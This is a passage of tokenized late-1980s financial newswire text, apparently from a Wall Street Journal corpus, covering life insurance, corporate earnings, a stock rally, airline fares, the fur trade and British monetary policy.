`` policy illustrations '' -- the rows of numbers that show me the buildup of my cash values over the years . +They commonly give two scenarios : One is based on interest rates that the company guarantees -LRB- usually 4 % to 4.5 % -RRB- and the other on the rate it is currently getting on investment , often 8.5 % or more . +Projecting the latter over several decades , I find my cash buildup is impressive -- but can any high interest rate prevail for that long ? +Not likely , I think . +Also , some policy illustrations assume that mortality costs will decline or that I will get some sort of dividend bonus after the 10th year . +These are not certain , either . +Companies `` are n't comfortable playing these games , but they realize they 're under pressure to make their policies look good , '' says Timothy Pfiefer , an actuarial consultant at Tillinghast , a unit of Towers Perrin Co. , the big New York consulting firm . +Another factor to consider : Some of the companies currently earning very high yields are doing so through substantial investment in junk bonds , and you know how nervous the market has been about those lately . +There are seemingly endless twists to universal life , and it pays to ask questions about all of them . +At a back-yard barbecue , for example , a friend boasts that she 'll only have to pay premiums on her John Hancock policy for seven years and that her death benefits will then be `` guaranteed . '' +I call her agent , David Dominici . +Yes , he says , premiums on such variable-rate coverage can be structured to `` vanish '' after a certain period -- but usually only if interest rates stay high enough to generate sufficient cash to cover the annual cost of insurance protection . +If interest rates plunge , the insurer may be knocking on my door , asking for steeper premium payments to maintain the same amount of protection . +I do n't like the sound of that . +Some insurers have also started offering `` persistency bonuses , '' such as extra dividends or a marginally higher interest yield , if the policy is maintained for 10 years . +But Glenn Daily , a New York-based financial consultant , warns that many of these bonuses are `` just fantasies , '' because most are n't guaranteed by the companies . +And the feature is so new , he adds , that no insurer has yet established a track record for actually making such payments . +So-called living-benefits provisions also merit a close inspection . +Offered by insurers that include Security-Connecticut Life Insurance Co. , Jackson National Life Insurance Co. , and National Travelers Life Insurance Co. , these policy riders let me tap a portion of my death benefits while I 'm still alive . +Some provisions would let me collect a percentage of the policy 's face value to pay for long-term care such as nursing-home stays ; others would allow payments for catastrophic illnesses and conditions such as cancer , heart attarcks , renal failure and kidney transplants . +But the catastrophic events for which the policyholder can collect are narrowly defined , vary from policy to policy , and generally permit use of only a small fraction of the face amount of insurance . +Also , financial planners advising on insurance say that to their knowledge there has not yet been a tax ruling exempting these advance payments from taxes . +And considering the extra cost of such provisions , some figure that people interested in , say , paying for extended nursing-home care would be better off just buying a separate policy that provides it . +I 'm more favorably impressed by `` no-load life , '' even though it turns out to be low-load life . +Insureres selling these policies market them directly to the public or otherwise do n't use commissioned salesmen ; there is still a load -- annual administrative fees and initial `` setup '' charges -- but I figure that the lack of commission and of `` surrender fees '' for dropping the policy early still saves me a lot . +I compared one universal policy for $ 130,000 face amount from such an insurer , American Life Insurance Corp. of Lincoln , Neb. , with a similar offering from Equitable Life Assurance Society of the U.S. , which operates through 11,000 commissioned salesmen . +After one year I could walk away from the Ameritas policy with $ 792 , but Id get only $ 14 from the Equitable . +The difference is magnified by time , too . +At age 65 , when I 'd stop paying premiums , the Ameritas offering would have a projected cash value $ 14,000 higher than the other , even though the Equitable 's policy illustration assumed a fractionally higher interest rate . +Did I buy it ? +Well , not yet . +I 'm thinking about using the $ 871 annual premium to finance a trip to Paris first . +A person can do some heavy thinking about insurance there -- and shop for something more exciting while she 's doing it . +Rorer Group Inc. will report that third-quarter profit rose more than 15 % from a year earlier , though the gain is wholly due to asset sales , Robert Cawthorn , chairman , president and chief executive officer , said . +His projection indicates profit in the latest quarter of more than $ 17.4 million , or 55 cents a share , compared with $ 15.2 million , or 48 cents a share , a year ago . +Mr. Cawthorn said in an interview that sales will show an increase from a year ago of `` somewhat less than 10 % . '' +Through the first six months of 1989 , sales had grown about 12 % from the year-earlier period . +Growth of 10 % would make sales for the latest quarter $ 269 million , compared with $ 244.6 million a year ago . +Mr. Cawthorn said the profit growth in the latest quarter was due to the sale of two Rorer drugs . +Asilone , an antacid , was sold to Boots PLC , London . +Thrombinar , a drug used to stanch bleeding , was sold to Jones Medical Industries Inc. , St. Louis . +He said Rorer sold the drugs for `` nice prices '' and will record a combined , pretax gain on the sales of $ 20 million . +As the gain from the sales indicates , operating profit was `` significantly '' below the year-earlier level , Mr. Cawthorn said . +Rorer in July had projected lower third-quarter operating profit but higher profit for all of 1989 . +He said the company is still looking for `` a strong fourth quarter in all areas -- sales , operating income and net income . '' +Mr. Cawthorn attributed the decline in third-quarter operating profit to the stronger dollar , which reduces the value of overseas profit when it is translated into dollars ; to accelerated buying of Rorer products in the second quarter because of a then-pending July 1 price increase , and to higher marketing expenses for Rorer 's Maalox antacid , whose sales and market share in the U.S. had slipped in the first half of 1989 . +He said Rorer opted to sell Asilone and Thrombinar to raise revenue that would `` kick start '' its increased marketing efforts behind Maalox , still its top-selling product with about $ 215 million in world-wide sales in 1988 . +`` We had underfunded Maalox for a year , '' he said , because the company was concentrating on research and development and promoting other drugs . +He said Rorer will spend $ 15 million to $ 20 million more on Maalox advertising and promotion in the second half of 1989 than in the year-earlier period . +A `` big chunk '' of that additional spending came in the third quarter , he said . +Hoechst AG said it will stop producing fertilizer in 1990 because of continued losses and a bleak outlook . +The West German chemical concern said it will close the last remaining fertilizer plant in Oberhausen in the fall of next year . +Hoechst said the fertilizer market faces overcapacity in Western Europe , rising imports from East bloc countries and overseas , and declining demand . +HomeFed Corp. said its main subsidiary , Home Federal Savings & Loan , converted from a federal savings and loan to a federal savings bank and changed its name to HomeFed Bank . +The federal Office of Thrift Supervision approved the conversion last Friday , HomeFed said . +The change in charter does n't alter the federal insurance of deposits , federal regulatory powers or company operations , a spokesman said . +It was the second anniversary of the 1987 crash , but this time it was different . +Stocks rallied on good earnings reports and on data that showed less inflation than expected . +Blue chips led the march up in heavy trading . +The Dow Jones Industrial Average rose 39.55 points to 2683.20 . +The 30 industrials led the market higher from the opening bell as foreign buyers stepped in . +By afternoon , the broader market joined the advance in full strength . +Standard & Poor 's 500-stock Index rose 5.37 to 347.13 and the Nasdaq composite index jumped 7.52 to 470.80 . +New York Stock Exchange volume swelled to 198,120,000 shares . +The industrials were up about 60 points in the afternoon , but cautious investors took profits before the close . +Traders said a variety of factors triggered the rally . +The consumer price index rose 0.2 % in September , while many economists were looking for a 0.4 % increase . +Stock-index arbitrage buy programs -- in which traders buy stock against offsetting positions in futures to lock in price differences -- helped the rally 's momentum . +The euphoria was such that investors responded to good earnings reports of companies such as American Express , while ignoring the disappointing profits of companies such as Caterpillar , analysts said . +Stock-index arbitrage trading was a minor influence in yesterday 's rally , traders said . +Institutional buyers were the main force pushing blue chips higher . +To the amazement of some traders , takeover stocks were climbing again . +Hilton rose 2 7\/8 to 100 , for example . +Last Friday , takeover traders spilled out of Hilton , knocking the stock down 21 1\/2 to 85 . +Among other stocks involved in restructurings or rumored to be so : Holiday Corp. gained 1 7\/8 to 73 and Honeywell rose 2 7\/8 to 81 1\/2 . +One floor trader noted in astonishment that nobody seemed to mind the news that British Airways is n't making a special effort to revive the UAL buy-out . +The announcement of the buy-out 's troubles triggered the market 's nose dive a week ago . +Takeover enthusiasm may have been renewed when an investor group disclosed yesterday that it had obtained all the financing required to complete its $ 1.6 billion leveraged buy-out of American Medical International . +`` That 's put some oomph back into this market , '' said Peter VandenBerg , a vice president of equity trading at Shearson Lehman Hutton . +But some traders thought there was less to the rally than met the eye . +`` There is no strength behind this rally , '' asserted Chung Lew , head trader at Kleinwort Benson North America . +`` It 's traders squaring positions . +It 's not good ; the market is setting up for another fall . '' +Indeed , many traders said that uncertainty about today 's monthly expiration of stocks-index futures and options , and options on individual stocks , prompted a lot of buying by speculative traders who were unwinding positions that were bets on declining stock prices . +The number of outstanding contracts in the October Major Market Index jumped from 5,273 on Friday to 9,023 on Monday . +The MMI is a 20-stock index that mimics the Dow Jones Industrial Average . +Outstanding contracts are those that remain to be liquidated . +By Wednesday , the outstanding October contracts amounted to 8,524 , representing about $ 1.13 billion in stock , noted Donald Selkin , head of stock-index futures research at Prudential-Bache Securities , who expects a volatile expiration today . +`` There has been a tremendous increase '' in MMI positions , Mr. Selkin said . +Consumer stocks once again set the pace for blue-chip issues . +Philip Morris added 1 1\/8 to 44 1\/2 in Big Board composite trading of 3.7 million shares , Coca-Cola Co. gained 2 3\/8 to 70 3\/8 , Merck gained 1 3\/8 to 77 3\/8 and American Telephone & Telegraph advanced 7\/8 to 43 3\/8 on 2.5 million shares . +American Medical jumped 1 7\/8 to 23 5\/8 . +IMA Acquisition , an investor group that includes First Boston and the Pritzker family of Chicago , said Chemical Bank had made arrangements for 23 other banks to provide $ 509 million in bank financing for the buy-out offer . +Chemical and six other banks , along with First Boston , are providing the rest of the $ 1.6 billion . +Elsewhere on the takeover front , Time Warner advanced 2 5\/8 to 136 5\/8 and Warner Communications tacked on 7\/8 to 63 7\/8 . +The Delaware Supreme Court affirmed a ruling that barred Chris-Craft Industries from voting its Warner preferred stock as a separate class in deciding on the companies ' proposed merger . +Paramount Communications climbed 1 1\/4 to 58 1\/2 and MCA rose 1 1\/2 to 64 ; both media companies have long been mentioned as potential acquisition candidates . +Among other actual and rumored targets , Woolworth rose 1 1\/4 to 60 1\/2 , Upjohn went up 1 1\/8 to 39 3\/4 , Armstrong World Industries gained 1 to 40 1\/8 and Kollmorgen rose 3\/4 to 13 7\/8 . +In addition : -- Soo Line jumped 2 3\/4 to 20 1\/4 , above the $ 19.50 a share that Canadian Pacific offered for the company in a takeover proposal . +-- Xtra gained 1 1\/8 to 27 1\/8 . +Investor Robert M. Gintel , who owns a 4.7 % stake in the company , said he plans a proxy fight for control of its board . +-- Golden Nugget rose 2 to 28 1\/4 . +Its board approved the repurchase of as many as three million common shares , or about 17 % of its shares outstanding . +Buying interest also resurfaced in the technology sector , including International Business Machines , whose board approved a $ 1 billion increase in its stock buy-back program . +IBM rose 2 3\/8 to 104 1\/8 as 2.2 million shares changed hands . +Compaq Computer soared 4 5\/8 to 111 1\/8 on 1.8 million shares in response to the company 's announcement of plans to introduce several products next month . +Digital Equipment gained 1 3\/8 to 89 3\/4 despite reporting earnings for the September quarter that were on the low end of expectations . +Among other technology issues , Cray Research rose 1 5\/8 to 37 , Hewlett-Packard added 1 1\/4 to 50 1\/4 , Tandem Computers rallied 1 1\/8 to 25 3\/4 , Data General rose 3\/4 to 14 1\/2 and Motorola gained 2 3\/8 to 59 1\/4 . +On the other hand , Symbol Technologies dropped 1 1\/4 to 18 1\/2 after Shearson Lehman Hutton lowered its short-term investment rating on the stock and its 1989 earnings estimate , and Commodore International fell 7\/8 to 8 after the company said it expects to post a loss for the September quarter . +Insurance stocks continued to climb on expectations that premium rates will rise in the aftermath of the earthquake in the San Francisco area . +American International Group climbed 4 to 106 5\/8 , General Re rose 3 1\/8 to 89 5\/8 , Kemper added 2 1\/2 to 48 , AON went up 1 3\/8 to 36 and Chubb rose 1 1\/4 to 82 1\/4 . +Stocks of major toy makers rallied in the wake of strong third-quarter earnings reports . +Mattel added 1 1\/4 to 19 5\/8 , Tonka firmed 1 to 18 1\/2 and Lewis Galoob Toys rose 7\/8 to 13 5\/8 on the Big Board , while Hasbro gained 1 to 21 7\/8 on the American Stock Exchange . +Capital Cities-ABC surged 42 5\/8 to 560 . +Kidder Peabody raised its investment rating on the stock and its earnings estimates for 1989 and 1990 , based on optimism that the company 's ABC television network will continue to fare well in the ratings . +Dun & Bradstreet lost 1 7\/8 to 51 7\/8 on 1.8 million shares . +Merrill Lynch lowered its short-term rating on the stock and its estimate of 1990 earnings , citing a sales slowdown in the company 's credit-rating business . +Pinnacle West Capital , which suspended its common-stock dividend indefinitely and reported a 91 % decline in third-quarter earnings , fell 5\/8 to 11 3\/8 . +The Amex Market Value Index recorded its sharpest gain of the year by climbing 4.74 to 382.81 . +Volume totaled 14,580,000 shares . +B.A.T Industries , the most active Amex issue , rose 3\/8 to 12 3\/8 . +The company received shareholder approval for its restructuring plan , designed to fend off a hostile takeover bid from a group headed by financier Sir James Goldsmith . +Chambers Development Class A jumped 3 1\/8 to 37 1\/8 and Class B rose 2 5\/8 to 37 1\/4 . +The company said six officers are buying a total of $ 1.5 million of its stock . +TRC Cos. , the target of an investigation by the U.S. inspector general , dropped 2 to 10 3\/4 . +The probe involves testing procedures used on certain government contracts by the company 's Metatrace unit . +Avondale Industries Inc. , New Orleans , received a $ 23 million contract from the Navy to enlarge by 50 % the capacity of an auxiliary oiler . +The award results from the Navy 's exercising of an option in an earlier contract it awarded Avondale . +Richard J. Pinola was elected to the board of this personnel consulting concern , increasing its size to nine members . +Mr. Pinola is president and chief operating officer of Penn Mutual Life Insurance Co . +The Senate rejected a constitutional amendment that President Bush sought to protect the U.S. flag from desecration . +The 51-48 roll call fell well short of the two-thirds majority needed to approve changes to the Constitution . +The vote , in which 11 GOP lawmakers voted against Mr. Bush 's position , was a victory for Democratic leaders , who opposed the amendment as an intrusion on the Bill of Rights . +`` We can support the American flag without changing the American Constitution , '' said Senate Majority Leader George Mitchell of Maine . +In order to defuse pressure for an amendment , Mr. Mitchell and House Speaker Thomas Foley -LRB- D. , Wash . -RRB- had arranged for lawmakers to pass a statute barring flag desecration before voting on the constitutional change . +Mr. Bush said he would allow the bill to become law without his signature , because he said only a constitutional amendment can protect the flag adequately . +In June , the Supreme Court threw out the conviction of a Texas man who set a flag afire during a 1984 demonstration , saying he was `` engaging in political expression '' that is protected by the First Amendment . +If you think you have stress-related problems on the job , there 's good news and bad news . +You 're probably right , and you are n't alone . +A new Gallup Poll study commissioned by the New York Business Group on Health , found that a full 25 % of the work force at companies may suffer from anxiety disorders or a stress-related illness , with about 13 % suffering from depression . +The study surveyed a national group of medical directors , personnel managers and employee assistance program directors about their perceptions of these problems in their companies . +It is one of a series of studies on health commissioned by the New York Business Group , a non-profit organization with about 300 members . +The stress study was undertaken because problems related to stress `` are much more prevalent than they seem , '' said Leon J. Warshaw , executive director of the business group . +In presenting the study late last week , Dr. Warshaw estimated the cost of these types of disorders to business is substantial . +Occupational disability related to anxiety , depression and stress costs about $ 8,000 a case in terms of worker 's compensation . +In terms of days lost on the job , the study estimated that each affected employee loses about 16 work days a year because of stress , anxiety or depression . +He added that the cost for stress-related compensation claims is about twice the average for all injury claims . +`` We hope to sensitize employers '' to recognize the problems so they can do something about them , Dr. Warshaw said . +Early intervention into these types of problems can apparently save businesses long-term expense associated with hospitalization , which sometimes results when these problems go untreated for too long . +Even the courts are beginning to recognize the link between jobs and stress-related disorders in compensation cases , according to a survey by the National Council on Compensation Insurance . +But although 56 % of the respondents in the study indicated that mental-health problems were fairly pervasive in the workplace , there is still a social stigma associated with people seeking help . +The disorders , which 20 years ago struck middle-age and older people , `` now strike people at the height of productivity , '' says Robert M.A. Hirschfeld , of the National Institute of Mental Health , who spoke at the presentation of the study 's findings . +The poll showed that company size had a bearing on a manager 's view of the problem , with 65 % of those in companies of more than 15,000 employees saying stress-related problems were `` fairly pervasive '' and 55 % of those in companies with fewer than 4,000 employees agreeing . +The poll also noted fear of a takeover as a stress-producing event in larger companies . +More than eight in 10 respondents reported such a stress-provoking situation in their company . +Mid-sized companies were most affected by talk of layoffs or plant closings . +The study , which received funding from Upjohn Co. , which makes several drugs to treat stress-related illnesses , also found 47 % of the managers said stress , anxiety and depression contribute to decreased production . +Alcohol and substance abuse as a result of stress-related problems was cited by 30 % of those polled . +Although Dr. Warshaw points out that stress and anxiety have their positive uses , `` stress perceived to be threatening implies a component of fear and anxiety that may contribute to burnout . '' +He also noted that various work environments , such as night work , have their own `` stressors . '' +`` We all like stress , but there 's a limit , '' says Paul D'Arcy , of Rohrer , Hibler & Replogle , a corporate psychology and management consulting firm . +The problem , says Mr. D'Arcy , a psychologist , is that `` it 's very hard to get any hard measures on how stress affects job performance . +For Cheap Air Fares , Spend Christmas Aloft +IT IS N'T TRUE that a 90-year old clergyman on a mission of mercy to a disaster area on Christmas Day can fly free . +But his circumstances are among the few that can qualify for the handful of really cheap airline tickets remaining in America . +In recent years , carriers have become much more picky about who can fly on the cheap . +But there still are a few ways today 's traveler can qualify under the airline 's many restrictions . +One of the best deals , though , may mean skipping Christmas dinner with the relatives . +This week , many carriers are announcing cut-rate fares designed to get people to fly on some of the most hallowed -- and slowest -- days of the year , including Christmas . +In recent years , the airlines had waited until the last moment to court Christmas season vacationers with bargain fares . +That approach flopped : Last Christmas Day , a USAir Group Inc. DC-9 jetliner flew about seven passengers from Chicago to Pittsburgh . +So this year , the airlines are getting a jump on holiday discounts . +They are cutting ticket prices by as much as 70 % from normal levels for travel to most U.S. locations on Dec. 24 , 25 , 29 , 30 and 31 , and Jan. 4 , 5 and 6 . +The promotions -- dubbed everything from 'T- is the Season to be Jolly to Kringle fares -- put round-trip fares at $ 98 , $ 148 and $ 198 . +`` They 're trying to keep planes flying on days they 'd normally park them , '' says Roger Bard , president of Mr. Mitchell Travel Service in Burnsville , N.C . +Expect , of course , sky-high prices on other dates near the holidays when the airlines know vacationers are eager to travel . +Consider Adopting Your Spouse 's Name +IF CONTINENTAL Airlines has its way , couples like Marlo Thomas and Phil Donahue may find it a hassle to qualify for some new discounts . +Continental , a Texas Air Corp. unit , recently unveiled a marketing program offering free companion tickets to business-class and first-class passengers on international flights . +The Continental catch : Only immediate family members are allowed , and they must have the same last name as the buyer of the ticket or legal proof they 're related . +That irritates many women who have n't taken their husbands ' last name . +`` What a bunch of nonsense , '' says Jessica Crosby , president of the New York chapter of the National Association of Women Business Owners . +`` This sets things way back . '' +Continental 's logic : It does n't want business companions abusing the promotion by falsely claiming to be related . +`` We accommodate their choice of names by allowing them to demonstrate '' family affiliation with legal documents , says Jim O'Donnell , a senior vice president . +But gay rights advocates are angry , too . +The Lambda Legal Defense and Education Fund of New York City has received complaints from homosexual couples whom the airline does n't recognize as family . +`` It 's certainly discrimination , '' says attorney Evan Wolfson , whose group forced Trans World Airlines this year to change a rule that allowed travelers to transfer frequent flier awards only to family members . +Take Your Vacation In a Hurricane Area +WHEN HURRICANE Hugo careened through the Caribbean and the Atlantic coast states , it downed electric and telephone lines , shot coconuts through cottage rooftops , shattered windows and uprooted thousands of lives . +It also lowered some air fares . +Since the hurricane , Midway Airlines Inc. and American Airlines , a unit of AMR Corp. , trimmed their one-way fares to the Virgin Islands to $ 109 from prices that were at times double that before the storm . +The fares are code-named Hugo , Compassion and Virgin Islands Aid . +-LRB- Airlines are n't lowering fares to Northern California following this week 's earthquake , but reservation agents can waive advance-purchase restrictions on discount fares for emergency trips . -RRB- +Some hotels in the hurricane-stricken Caribbean promise money-back guarantees . +In Myrtle Beach , S.C. , the damaged Yachtsman Resort offers daily rates as low as $ 35 , or as much as 22 % below regular prices . +Says Michele Hoffman , a clerk in the resort 's front office : `` We do n't have the outdoor pool , the pool table , ping pong table , snack bar or VCR , but we still have the indoor pool and Jacuzzi . '' +Just Wait Until You 're a Bit Older +SENIOR CITIZENS have long received cheap air fares . +This year , the older someone is the bigger the discount . +A senior citizen between 62 and 70 saves 70 % off regular coach fare . +Travelers up to age 99 get a percentage discount matching their age . +And centenarians fly free in first class . +Next month , Northwest Airlines says , a 108-year-old Lansing , Mich. , woman is taking it up on the offer to fly with her 72-year-old son to Tampa , Fla . +Last year when Northwest first offered the promotion , only six centenarians flew free . +If All Else Fails ... . +THE NATION'S carriers also provide discounts to Red Cross workers , retired military personnel and medical students . +There 's even a special fare for clergy that does n't require the usual stay over Saturday night . +That way , they can be home in time for work Sunday . +The British Petroleum Co. PLC said its BP Exploration unit has produced the first oil from its Don oilfield in the North Sea . +In an official release , BP said initial production from the field was 11,000 barrels a day , and that it expects peak output from the field of 15,000 barrels a day to be reached in 1990 . +As the sponsor of the `` Older Americans Freedom to Work Act , '' which would repeal the Social Security earnings limit for people aged 65 and older , I applaud your strong endorsement to repeal this Depression-era fossil . +For every dollar earned over $ 8,880 , Social Security recipients lose 50 cents of their Social Security benefits ; it 's like a 50 % marginal tax . +But the compounded effects of `` seniors only '' taxes result in truly catastrophic marginal tax rates . +Imagine a widow who wants to maintain her standard of living at the same level she had before she had to pay the catastrophic surtax . +Although this widow earns only twice the minimum wage , largely due to the earnings limit , she would have to earn an additional $ 4,930 to offset her catastrophic surtax of $ 496 . +Eliminating the earnings limit would greatly help seniors and reduce the deficit . +Repeal would generate more in new taxes than the government would lose in increased Social Security benefit payments . +We now need support from the Democrats on the Rules Committee in order to include earnings-limit reform in the Reconciliation Bill . +Since all four Republicans on the committee are co-sponsors of my bill , it is the Democrats who will be held fully accountable if an earnings test amendment is not allowed from the floor . +The time is now to lift the burdensome Social Security earnings limit from the backs of our nation 's seniors . +Rep. J. Dennis Hastert -LRB- R. , Ill . -RRB- +When his Seventh Avenue fur business here was flying high 20 years ago , Jack Purnick had 25 workers and a large factory . +Now his half-dozen employees work in an eighth-floor shop that he says is smaller than his old storage room . +He also says he is losing money now . +He blames imports . +But just down Seventh Avenue , where about 75 % of U.S. fur garments are made , Larry Rosen has acquired two retail outlets , broadened his fur-making line and expanded into leather . +He credits imports . +The difference lies in how the two entrepreneurial furriers reacted to the foreign competition and transformation of their industry over the past 10 years . +One stuck to old-line business traditions , while the other embraced the change . +`` The small , good fur salon is not what it used to be , '' says Mr. Purnick , 75 years old . +`` We make the finest product in the world , and the Americans are being kicked around . '' +Mr. Rosen , though , believes imports have reinvigorated the industry in which he has worked for most of his 57 years . +`` You 've got some minds here that wo n't think progressively , '' he says . +Import competition for U.S. furs has risen sharply since furriers started aggressively marketing `` working-girl mink '' and similar lower-priced imported furs in recent years . +Merchants discovered a consumer largely ignored by higher-priced furriers : the younger woman -- even in her late 20s -- who never thought she could buy a mink . +The new market helped boost U.S. fur sales to about $ 1.8 billion a year now , triple the level in the late 1970s . +It also opened the door to furs made in South Korea , China , Hong Kong and other countries . +Jindo Furs , a large South Korean maker , says it operates 35 retail outlets in the U.S. and plans to open 15 more by the end of next year . +Mr. Purnick and other old-line furriers call many of the the imports unstylish and poorly made . +High-end U.S. furriers say these imports have n't squeezed them . +But low-priced and middle-priced furriers like Mr. Purnick , who once saturated the five-block Seventh Avenue fur district , say imports have cut their sales . +A woman who once would have saved for two or three seasons to buy a U.S.-made mink can now get an imported mink right away for less than $ 2,000 . +Yet Mr. Rosen has turned the import phenomenon to his advantage . +Early in the decade he saw that fur workers in many foreign countries were willing to work longer hours at lower wages than their American counterparts and were more open to innovation . +In 1982 , he started a factory in Greece . +Two years later , he opened one in West Germany . +He also noticed that foreign makers were introducing many variations on the traditional fur , and he decided to follow suit . +By combining his strengths in innovation and quality control with the lower costs of production abroad , he says he has been able to produce high-quality goods at low cost . +To maintain control over production and avoid overdependence on foreign sources , he says he still makes most of his furs in the U.S. . +But six years ago he also began importing from the Far East . +Inspired by imports , Mr. Rosen now makes fur muffs , hats and flings . +This year he produced a men 's line and offers dyed furs in red , cherry red , violet , royal blue and forest green . +He has leather jackets from Turkey that are lined with eel skin and topped off with raccoon-skin collars . +From Asia , he has mink jackets with floral patterns made by using different colored furs . +Next he will be testing pictured embroidery -LRB- called kalega -RRB- made in the Far East . +He plans to attach the embroidery to the backs of mink coats and jackets . +Besides adding to sales , leathers also attract retailers who may buy furs later , he adds . +Other furriers have also benefited from leathers . +Seymour Schreibman , the 65-year-old owner of Schreibman Raphael Furs Inc. , treats the reverse side of a Persian lambskin to produce a reversible fur-and-leather garment . +He says it accounts for 25 % of total sales . +Mr. Rosen is also pushing retail sales . +This year he bought two stores , one in Brooklyn and one in Queens . +Other furriers have also placed more weight on retailing . +Golden Feldman Furs Inc. began retailing aggressively eight years ago , and now retail sales account for about 20 % of gross income . +In other moves , Mr. Rosen says he bought a truck three years ago to reach more retailers . +Since then he has expanded his fleet and can now bring his furs to the front door of retailers as far away as the Midwest . +Small retailers who ca n't afford to travel to his New York showroom have become fair game . +Such moves have helped Mr. Rosen weather the industry slump of recent years . +The industry enjoyed six prosperous years beginning in 1980 , but since 1986 sales have languished at their $ 1.8 billion peak . +Large furriers such as Antonovich Inc. , Fur Vault Inc. and Evans Inc. all reported losses in their latest fiscal years . +Aftereffects of the 1987 stock market crash head the list of reasons . +In addition , competition has glutted the market with both skins and coats , driving prices down . +The animal-rights movement has n't helped sales . +Warm winters over the past two years have trimmed demand , too , furriers complain . +And those who did n't move some production overseas suffer labor shortages . +`` The intensive labor needed to manufacture furs -LCB- in the U.S. . -RCB- is not as available as it was , '' says Mr. Schreibman , who is starting overseas production . +But even those who have found a way to cope with the imports and the slump , fear that furs are losing part of their allure . +`` People are promoting furs in various ways and taking the glamour out of the fur business , '' says Stephen Sanders , divisional merchandise manager for Marshall Field 's department store in Chicago . +`` You ca n't make a commodity out of a luxury , '' insists Mr. Purnick , the New York furrier . +He contends that chasing consumers with low-priced imports will harm the industry in the long run by reducing the prestige of furs . +But Mr. Rosen responds : `` Whatever people want to buy , I 'll sell . +The name of the game is to move goods . +Four workers at GTE Corp. 's headquarters have been diagnosed as having hepatitis , and city health officials are investigating whether a cafeteria worker may have exposed hundreds of other GTE employees to the viral infection , company and city officials said . +The four cases were all reported to GTE 's medical director and state and local health authorities . +GTE shut down its cafeteria Tuesday afternoon after testing determined that at least one cafeteria worker employed by GTE 's private food vending contractor , ARA Services Inc. , was suffering from a strain of the virus , officials said . +More than 700 people work in the GTE building . +The cafeteria remains closed . +Dr. Andrew McBride , city health director , said his staff suspects the hepatitis , which can be highly contagious , was spread by the cafeteria worker with the virus . +The exact strain of hepatitis that the cafeteria worker contracted has n't been determined but should be known by the end of the week , Dr. McBride said . +Hepatitis A , considered the least dangerous strain of the virus , has been confirmed in at least one GTE employee , company and city officials said . +`` From a public health point of view we 're relieved because hepatitis A is rarely life-threatening , '' said Dr. Frank Provato , GTE 's medical director . +`` It 's a double-edged sword though , because it is also the most contagious kind of hepatitis . '' +GTE officials began posting warning notices about the potential threat to exposure Wednesday morning at various places at the company , said GTE spokesman Thomas Mattausch . +The company has begun offering shots of gamma globulin , which will diminish the flu-like symptoms of hepatitis A , in anyone who has contracted the disease , Mr. Mattausch said . +`` We 're strongly recommending that anyone who has eaten in the cafeteria this month have the shot , '' Mr. Mattausch added , `` and that means virtually everyone who works here . +I was appalled to read the misstatements of facts in your Oct. 13 editorial `` Colombia 's Brave Publisher . '' +It is the right-wing guerrillas who are aligned with the drug traffickers , not the left wing . +This information was gleaned from your own news stories on the region . +Past Colombian government tolerance of the `` narcotraficantes '' was due to the drug lords ' history of wiping out leftists in the hinterlands . +Mary Poulin Palo Alto , Calif. +I suggest that The Wall Street Journal -LRB- as well as other U.S. news publications of like mind -RRB- should put its money where its mouth is : Lend computer equipment to replace that damaged at El Espectador , buy ad space , publish stories under the bylines of El Espectador journalists . +Perhaps an arrangement could be worked out to `` sponsor '' El Espectador journalists and staff by paying for added security in exchange for exclusive stories . +Reward El Espectador 's courage with real support . +Douglas B. Evans +COCA-COLA Co . -LRB- Atlanta -RRB- -- +Anton Amon and George Gourlay were elected vice presidents of this soft-drink company . +Mr. Amon , 46 years old , is the company 's director of quality assurance ; most recently , he served as vice president , operations , for Coca-Cola Enterprises . +Mr. Gourlay , 48 , is manager for corporate manufacturing operations ; he was assistant vice president at the company . +In the wake of a slide in sterling , a tailspin in the stock market , and a string of problematic economic indicators , British Chancellor of the Exchequer Nigel Lawson promised gradual improvement in the U.K. economy . +In a speech prepared for delivery to London 's financial community , Mr. Lawson summed up current economic policy as a battle to wring inflation out of the British economy , using high interest rates as `` the essential instrument '' to carry out the campaign . +Two weeks after boosting base rates to 15 % , he pledged that `` rates will have to remain high for some time to come . '' +Mr. Lawson also made it clear that he would be watching exchange rates carefully . +A sinking pound makes imports more expensive and increases businesses ' expectations of future inflation , he argued . +In an apparent warning to currency traders who have lately been selling the British currency , he stated that the exchange rates will have a `` major role in the assessment of monetary conditions . '' +In reaffirming the current monetary policy of using high interest rates to fight inflation and shore up the pound , Mr. Lawson dismissed other approaches to managing the economy . +He said he monitors the money-supply figures , but does n't give them paramount importance , as some private and government economists have suggested . +Mr. Lawson also dismissed the possibility of imposing direct credit controls on Britain 's financial system . +Mr. Lawson 's speech , delivered at the Lord Mayor of London 's annual dinner at Mansion House , came on the heels of a grueling period for the U.K. economy . +Two weeks ago , in a campaign to blunt inflation at home and arrest a world-wide plunge in the pound , he raised base rates a full percentage point to 15 % . +Despite the increase , the British currency slid below a perceived threshold of three marks early last week . +It was quoted at 2.9428 marks in late New York trading Wednesday . +Leading up to the speech was a drumroll of economic statistics suggesting that the British war on inflation will be more bruising than previously assumed . +Unemployment in September dropped to 1,695,000 , the lowest level since 1980 . +While lower joblessness is generally good news , the hefty drop last month indicates that the economy is n't slowing down as much as hoped -- despite a doubling of interest rates over the last 16 months . +Meanwhile , average earnings in Britain were up 8.75 % in August over the previous year . +Another inflationary sign came in a surge in building-society lending to a record # 10.2 billion -LRB- $ 16.22 billion -RRB- last month , a much higher level than economists had predicted . +In a separate speech prepared for delivery at the dinner , Robin Leigh-Pemberton , Bank of England governor , conceded that `` demand pressures were even more buoyant than had been appreciated '' when the British economy was heating up last year . +He added that `` there 's no quick-fix solution '' to the economic woes , and said `` tight monetary policy is the right approach . '' +Discussing the recent slide in stock prices , the central bank governor stated that `` the markets now appear to have steadied '' after the `` nasty jolt '' of the 190.58-point plunge in the Dow Jones Industrial Average a week ago . +Although the New York market plunge prompted a 70.5-point drop in the London Financial Times-Stock Exchange 100 Share Index , Mr. Leigh-Pemberton declared `` that the experience owed nothing to the particular problems of the British economy . '' +Specifically , he pointed out that compared with the U.S. market , the U.K. has far fewer highly leveraged junk-bond financings . +Discussing future monetary arrangements , Mr. Lawson repeated the Thatcher government 's commitment to join the exchange rate mechanism of the European Monetary System , but he did n't indicate when . +Ing . +C. Olivetti & Co. , claiming it has won the race in Europe to introduce computers based on a powerful new microprocessor chip , unveiled its CP486 computer yesterday . +The product is the first from a European company based on Intel Corp. 's new 32-bit 486tm microprocessor , which works several times faster than previously available chips . +Hewlett-Packard Co. became the first company world-wide to announce a product based on the chip earlier this month , but it wo n't start shipping the computers until early next year . +An Olivetti spokesman said the company 's 